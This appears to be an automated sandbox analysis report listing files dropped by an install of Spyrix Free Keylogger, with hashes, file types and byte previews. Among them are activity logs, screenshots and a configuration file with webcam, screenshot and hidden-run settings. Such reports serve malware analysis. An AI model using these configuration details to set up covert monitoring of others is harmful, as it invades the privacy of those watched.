Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\is-3J8FI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\is-8CR71.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\is-CDKF2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\tmain.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.4065994592116873
Encrypted:	false
SSDEEP:	24:4nISm6zYtefo8+9n8Qm8NUF8hxR8Y8Y82KIl:uzmIeefw9PmKx7l
MD5:	8CD9FC7BAA20456A91F3AC4DCEB36D1C
SHA1:	B40529BB8752FACB6C2BA3421FDE5670A45D58E3
SHA-256:	B9E55A391E3C165DE3B3D08C49C7695B350623E37DD71A5A051D90A027939710
SHA-512:	B271657DE4EB639C92877C3C83C0F67254A32D0BCEB48999EABDD9095D5B1804B946E4FDEA217E7BE0F7D1877AA0F9CA7AFEE69576AC9962AFBCFAECDFD1B14F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................................................................................................j...d...d...j..............................................d...p...........p...d...~...............................s...d.........................c...q..........................d.................................d......................q...t...................................y...l...................d...................d...~...................d...................d...v...u...d...d...........................d...................d...d...i..................................d...................d...................................d...d...d...................d.......................k...d...p..........d...................d..........................................d...................d...........................................d...................d...........................................d.......................n...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	InnoSetup Log Spyrix Free Keylogger 11.6.22, version 0x418, 231569 bytes, 138727\37\user\376, C:\ProgramData\Security Monitor\{827D21CC-
Category:	dropped
Size (bytes):	231569
Entropy (8bit):	4.057053527382149
Encrypted:	false
SSDEEP:	1536:QCjh5+SVxi3SboaS4xDrH2UJFugsXBdN1kYrz//7LXSvTLLzLTDsbzDDLu3HEIJc:Rhri3SboaSyDfJQdrX
MD5:	0BB21AFDD91DC77025F4D7603FA5E8F9
SHA1:	D5170CB23F87DECC83C5796ECF27995707B4A72A
SHA-256:	9B93E286FF8A4DCF68E701F6B9D4EE5D44FAC358365848BEFA7F41BFC13D4413
SHA-512:	D6989C987D972E482CBEEF9313FF796053A77152AA9FBFF0B25EC09EAE0F00ADBD68D787438C5BE28AE6AEB1FA8D00C56383E3C74FD1FE764EFE509759DFFD6F
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Spyrix Free Keylogger...........................................................................................................Spyrix Free Keylogger 11.6.22...............................................................................................................%.................................................................................................................u.........&(#................1.3.8.7.2.7......j.o.n.e.s..t...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}....................... .....r....hK..IFPS....d.......A.......................................................................................................................................................BOOLEAN...................................................!............"........#................"........%........&.................... ...$...'...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1308909
Entropy (8bit):	6.226978823759581
Encrypted:	false
SSDEEP:	24576:8tdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt54DTx9KJ:kqTytRFk6ek14hk
MD5:	E7AB51FCD6A4B56B17A6D7019743346A
SHA1:	0AC79F07195B6D6C25D64864C762E5910D8DC52F
SHA-256:	3BA57A14C77AD692AD21D6502ED32A9FFD1E23CF908F70A4E3E13635DEBED246
SHA-512:	1F2CAA370B45ACCEF65E1863EEC48D02395349D44FDED44E9FE3652F5CDA05A3DC271295550EC9905826F964D20E9774793DACA0937F5D79308154E060AFD808
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@..........................p............@......@..............................@8...0...2................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc....2...0...4...l..............@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38533120
Entropy (8bit):	6.659117982180381
Encrypted:	false
SSDEEP:	393216:lw4FxslQp+QsIjKvL/RouclpOaPdvmtzzGnDHmgRBbxr5U0zvOaHxA2KZc4P9QpC:lw4fslOPKVouExr5U0zGaHxAJkuC+d7
MD5:	63C6697F6F8C4DE12A18633A65A6DD50
SHA1:	442715CE26B000A34E25DBE9BED05863C2488096
SHA-256:	2E92C42276AEA8D407AE41B3D8B63E6C39F33EC8D1CEEB4C632B54073B56BDA3
SHA-512:	50B6035BA8C2B4F871CD2CEF057A4CF21433999E6EBC2566DD92843D4F3DFFEF00198FA80F3D34424FAF049BEAFAFA637DB1FD061251A7D10FC82735E0313A92
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................&...>J.............P....@..........................P........L...@... ......................0..G........C...........................p..(...........................L-.......................................................text...h...........................`..`.rodata.L..........................`.``.rotext..............t.............. .P`.data...\|U...P...V...*..............@.p..rdata...k.......k.................@..@.bss........@2.......................`..edata..G....0........2.............@.0@.idata...C.......D....A.............@.0..CRT....4....P........B.............@.0..tls.........`........B.............@.0..reloc..(....p........B.............@.0B........................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\logs\45567.log

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	5.418777962146853
Encrypted:	false
SSDEEP:	24:HwglUgOQcUf9LcNQWf9LVCPxUhxz5If9G:HwglUgRcUFLOQWFLUP+P5IFG
MD5:	3AC5DABF226A0F11DDE3050AFA21CF2F
SHA1:	8668D62FD348DB4D8BFD547D0AAB8A6F34334D45
SHA-256:	7B59AD332699FFAC82D30A6D9787956FCAEE5ABB088FD53DE4A39435B2FDD599
SHA-512:	D6AFBE75AAD11FD6A99587F6B3476CAC98FC849AFF605EF5A7DE14C547EDEEE1E2A3043394E693EB5295C253CEC538CD492CE2FDE5546D6C5DB329E8A2574B39
Malicious:	false
Reputation:	unknown
Preview:	.DAYLY LOG..ACTIVITY;45567.0080017245;;;ID: 51 Start of User Session;user..APP;45567.0081332176;chrome.exe;Welcome Back - Google Chrome;;user..SCREENSHOT;45567.0081654051;chrome.exe;Welcome Back - Google Chrome;ID: 31 Window Change;user..APP;45567.0081901505;explorer.exe;Program Manager;;user..PRG_STAT;45567.0081901505;chrome.exe;Welcome Back - Google Chrome;[0,0];user..SCREENSHOT;45567.0082075116;explorer.exe;Program Manager;ID: 31 Window Change;user..APP;45567.0082172801;spkl.exe;Spyrix Free Keylogger - Settings Wizard;;user..PRG_STAT;45567.0082172801;spkl.exe;Spyrix Free Keylogger - Settings Wizard;[0,0];user..APP;45567.0082941435;spkl.exe;Spyrix Free Keylogger 11.6.22;;user..PRG_STAT;45567.0082941435;spkl.exe;Spyrix Free Keylogger - Settings Wizard;[1,0];user..APP;45567.0083350926;explorer.exe;Program Manager;;user..PRG_STAT;45567.0083350926;spkl.exe;Spyrix Free Keylogger 11.6.22;[4,0];user..SCREENSHOT;45567.0083452199;explorer.exe;Program Manager;ID: 31 Window Change

C:\ProgramData\Spyrix Free Keylogger\logs\45567.wdb

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3013000, file counter 15, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.935054819054622
Encrypted:	false
SSDEEP:	48:TpEu/2vjK5ezqMz4UQzDz4Wyzbnz4PtzPa6zulWz4wQzD8Oz9gzZlWWt1zFp/jU6:NEU5ezEUQnErfEFjyWEwQ8ORgZt1v/l
MD5:	E395558A8F2E7A232BFBE4DE80416EF2
SHA1:	5DEC3DC080BB3E8EFC0510A5D91474D6CDD3352F
SHA-256:	110C82516541E763CC68580CCF9FADF74D5854F7E0FBF057B39525C737FAB3BA
SHA-512:	8F73529C80E9212C1D2116B6739B13C34BE5E286302A89A9E1DB178B52B8E55EC25B791D6CC172D8A112390FC9077E804BE8593F6C5AF6F7148CC4BAE2E4A5B6
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .........................................................................-.............A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\logs\45567.wdb-journal

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.7935736108112295
Encrypted:	false
SSDEEP:	48:7M6NUsMz4UQzDz4Wyzbnz4PtzPa6zulWz4wQzD8Oz9gzZlWWt1zLpSq5Eu/2vjQ:7YEUQnErfEFjyWEwQ8ORgZt1hS6Em
MD5:	C0546E736627A7EE2F71998B8743FD53
SHA1:	D99ABBC8A0A1B6ED41FEC815C6B0D507221C89C9
SHA-256:	85C5F578017A17D9BBDDD17BDFBB35CE644873DAC1AB9DD07941DE7478A1D62B
SHA-512:	59545EBC7B37059F37BD9F3CDC349E752923E7D3A9E4453CBAC19974487FC2526DEE9F476C43E7AEC532A15B2F03F21871AEE4C12D0E450FD6DD0D67C657C674
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....C..L.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................u.Y.=.!............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\logs\logs.dat

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.653521666971197
Encrypted:	false
SSDEEP:	3:DpRRLCBxr5BnWyCCBxrlBQUrdA5VVdy:UB/p4CBx2VVU
MD5:	3CC1CF4C82C51761C96CE62E7D23604B
SHA1:	2F782AFC5B0B248F95D2BB93E68D3E6995C141E6
SHA-256:	507D6A872D718215A8D43B2A25B11F45D566FE310668F357631FA7D40DB43067
SHA-512:	822EEE43967388A6351EBF5D527CA1211420370B5FB23B6E645CE35718FBEFA1DAA7EBA23ECC28FE8DB6F0BB1589C7430FDA3EA42606C2BC556CDFD770F5E6E8
Malicious:	false
Reputation:	unknown
Preview:	[Logs]..FirstLogName=45567.log..AllSize=0..LastLogName=45567.log..CLog=45567.log..CSize=1008..

C:\ProgramData\Spyrix Free Keylogger\scr\45567.0081654051.jpg

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1036x957, components 3
Category:	dropped
Size (bytes):	28665
Entropy (8bit):	6.511206222245746
Encrypted:	false
SSDEEP:	384:WZ6le3iA1MpUtSwEmzuMd8880irbB26gYgYa:WZ6lex1tiMHMbB26gYgYa
MD5:	55B678FFFD7678E8B7B61508BBAC08F4
SHA1:	9836315B6F4D8ED0E4243D8A313B9B174667FE8E
SHA-256:	33C5928959E535556E7809D01BFF93C62B179A176BF21008FDF5DC7B842BE05B
SHA-512:	A4AA4B1C799C2A53D26B5E322FCC45BB508770DA4A7E279E80F6A2C85B88A5CE0BB59D3C962FED7E86E31D48B5DA6C9C773C788192E113DCE7C49913EC22D390
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.(..#..(#!#-+(0<dA<77<{X]Id.......................................C.+--<5<vAAv................................................................."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...Q.x.I;{S......"...=...p...1.LD.L_..?.G....O..U..AF...2.....O..Q....<....g..Q..(......O..Q....<....g..Q..(......O..Q....<....g..Q..(......O..Q....<....g..Q..(......O..Q....<....g..Q..(......O..Q....<....g..Q..(......O..Q....<....g..Q..(......O..Q....<....g..Q..(......O..Q....<....g..Q..(......O..Q....<....g..Q..(......O..Q....<....g..Q..(......O..Q....<....g..Q..(.....

C:\ProgramData\Spyrix Free Keylogger\scr\45567.0082075116.jpg

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 891x487, components 3
Category:	dropped
Size (bytes):	24084
Entropy (8bit):	7.434615557634036
Encrypted:	false
SSDEEP:	384:0ZCCCPmB3/ssssssssg9sahaWpYn6oCY18OYav2B8zVVg5zLVyzf2:0p3/ssssssss+sacWe6La6YsZH
MD5:	82005315AAE76C4E9CD1F182A1000B6B
SHA1:	46859715DC4930F5A53129DA0C6CD828A3F9F7B7
SHA-256:	37940FBC24EDE678FDFCA74097819B3979BCD2405A44617656ECB8F63A4E8506
SHA-512:	18185DCB0B6E121D19A5B33498DF75B8BD08D5192A0DB26B7EB210AC0213A5F7810F6A6C9B8A7B818914B4867BF55724CE1D50774765A543B549E2A87080B096
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.(..#..(#!#-+(0<dA<77<{X]Id.......................................C.+--<5<vAAv..............................................................{.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..ws...($..\......zG..\|..........J......H....4b..........#.....?........zG..\|..(...?....?.F'.........jJ(.<O..=#.......................H....4b..........#.....?........zG..\|..(...?....?.F'.........jJ(.<O..=#.......................H....4b..........#.....?........zG..\|..(...?....?.F'.........jJ(.<O..=#.......................H....4b..........#.....?........z

C:\ProgramData\Spyrix Free Keylogger\scr\45567.0083452199.jpg

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	85328
Entropy (8bit):	7.596267274232741
Encrypted:	false
SSDEEP:	1536:xerrrr7jrAt2goWWPzWWuWWHaaaaa4vLESOgmkw0GfXb8XLk355pimevx+/jVB:AJGaaaaa4vLp+0y8XLk3550mevxs7
MD5:	151288822E9D233F35DD9825AD4C9C28
SHA1:	9AF30208AABA090F86FF84752309AB6EE2379BA2
SHA-256:	C8BB736D743DAF65BF57038396DCA62444729F5E512449EDAFA570F94831A5A9
SHA-512:	2EB91A17B63E9D55274F36962439513DB2685334E2D266D608B5D4C5F91D9E16958CE57E00BCE55BFFA6D326921232F4363BA2E29A6743FAED70DADB13C0DE13
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.(..#..(#!#-+(0<dA<77<{X]Id.......................................C.+--<5<vAAv................................................................."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.JJZC]...f...G$*....>..._.d.#eE.P.&kC.Q.....(......=......._.~t}./..:=......3Z.b.....E...G.A.dg.....k..Q.....P{....5..(......_.~t{T..F~h.h}./..:>..._........3Z.b.....C...G.A.dg.....k..P......P{...f.>..._..b....j.........C...G...k...23.FkC.P......(......=.......?.~t}....:=..b......?.~t}....:=..b....la?...?...o.....sFj..\|......=..._a....?..sI....?.~t}..

C:\ProgramData\Spyrix Free Keylogger\scr\scr.dat

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:ELW12fICL:110HL
MD5:	6D66CD045598BA12D0E18835AEC4D906
SHA1:	BEB2D85325FCB3A9E16E2E55CBA576222B25D01D
SHA-256:	0457254D9EE6741E29F3E7494B4C83A3B1C7049219802A4419A47254CFEF2C96
SHA-512:	5371FE6072C9292A2CACD1A649DAD7EFAC936C46615FA8E4ADB917FD29AA0528ED75AE4C9C62CCB0A27079121E2D5CAED7B80281E6012038CCF86E7AFCBD39BB
Malicious:	false
Reputation:	unknown
Preview:	[Screens]..Size=138077..

C:\ProgramData\Spyrix Free Keylogger\temp\desktop\Spyrix Free Keylogger.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Wed Oct 2 03:11:11 2024, mtime=Wed Oct 2 03:11:22 2024, atime=Mon Sep 23 18:21:00 2024, length=5346216, window=hide
Category:	dropped
Size (bytes):	2100
Entropy (8bit):	3.6708346788114974
Encrypted:	false
SSDEEP:	48:8P8v6SndrYjQj+mj9k+mE9k+m9kWNH+m9e:8P8JndXj+wk+Hk+yt+
MD5:	99EB0396A1B13069DA91ECDB7C69BB32
SHA1:	12E8F9B1C124E22688087D55929297FC66B2BB09
SHA-256:	60098550891525FBC4C5342BF7849B5D86F74D45EE40F567F58E6D6D9E7DA756
SHA-512:	65BE4DE8AB7D55EC373D2F83E68D59B0DB39AC316F69319330FC721CC51276B2D012A66B46F8FB7C6B786D75014AA4336F088F47474081D604F2C78A13384951
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ....W.......L$..............Q..........................P.O. .:i.....+00.../C:\...................`.1.....BYf!. PROGRA~3..H......O.IBYf!....g.....................o"..P.r.o.g.r.a.m.D.a.t.a.....j.1.....BYf!. SECURI~1..R......BYf!BYf!....W.....................o"..S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.......1.....BYl!. {827D2~1..~......BYf!BYl!..........................f..{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.....Z.2...Q.7Y.. spkl.exe..B......BYf!BYg!.....7........................s.p.k.l...e.x.e.......~...............-.......}...........D.]_.....C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe..I.....\.....\.....\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.s.p.k.l...e.x.e.F.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.O.C.:.\.P.r.o.g.r

C:\ProgramData\Spyrix Free Keylogger\temp\logger.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [System]
Category:	dropped
Size (bytes):	1877
Entropy (8bit):	5.2663039216823195
Encrypted:	false
SSDEEP:	48:HG9ahTXnsliSiYymZDiSiYPZCZr4sP5vluoLa37ap1ZCZr4AyPp4L5fDiHwl:HG9y8jCZMsP5v9aKCZMAh7iHA
MD5:	046C1A66D6323881F08773B714563F6E
SHA1:	E19CA228A0ED984A0B400C53D71D1456557502EE
SHA-256:	1BCA967248BFCB76131BBB652FB96DDD9E9B578E8ACD7AABC08DD1D808987029
SHA-512:	14DCCE7D11CB83CF850146A9DE2B46AF3A726E97F1031EC45B75FB3C57B861974B5FD754E1D479C8343C95ABDE1364CB73A0D90F927E25D1CD85B05EB6609282
Malicious:	false
Reputation:	unknown
Preview:	[Interface]..lngfile=english.lng..skinfile=Default.skn..[System]..Run1=0..hide=0..prg_ver=11.6.22..tid=-1..lt=..Users=Administrator,DefaultAccount,Guest,user,WDAGUtilityAccount..AllUsers=Administrator,DefaultAccount,Guest,user,WDAGUtilityAccount..mstatus=1..KDelay=5..hide_p=0..hotkeyid=0..runcmd=runkey..LocalSave=0..[WEBDelivery]..preg=..comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037..wsa=7B42C3A0C386750D76C29FC3862A..Enable=0..User=..Password=PIH:..Interval=5..[SnapShot]..AllWebCams=-=First Active WebCam=-..jsAllWebCams=["-=First Active WebCam=-"]..atDrive=1..atPrinterJob=1..atStart=0..atActivity=0..atTimer=0..atLevel=0..Level=50..Interval=10..WebCam=..[VideoRec]..AllWebCams=-=First Active WebCam=-..jsAllWebCams=["-=First Active WebCam=-"]..atStart=0..StartDuration=0.5..atActivity=0..ActivityDuration=0.5..atTimer=0..Interval=30..IntervalDuration=0.5..atLevel=0..Level=30..LevelDuration=0.5..WebCam=..[Window]..Top=50..Left=50..Width=1280..Height=620..BottomHeight=170..LeftW

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
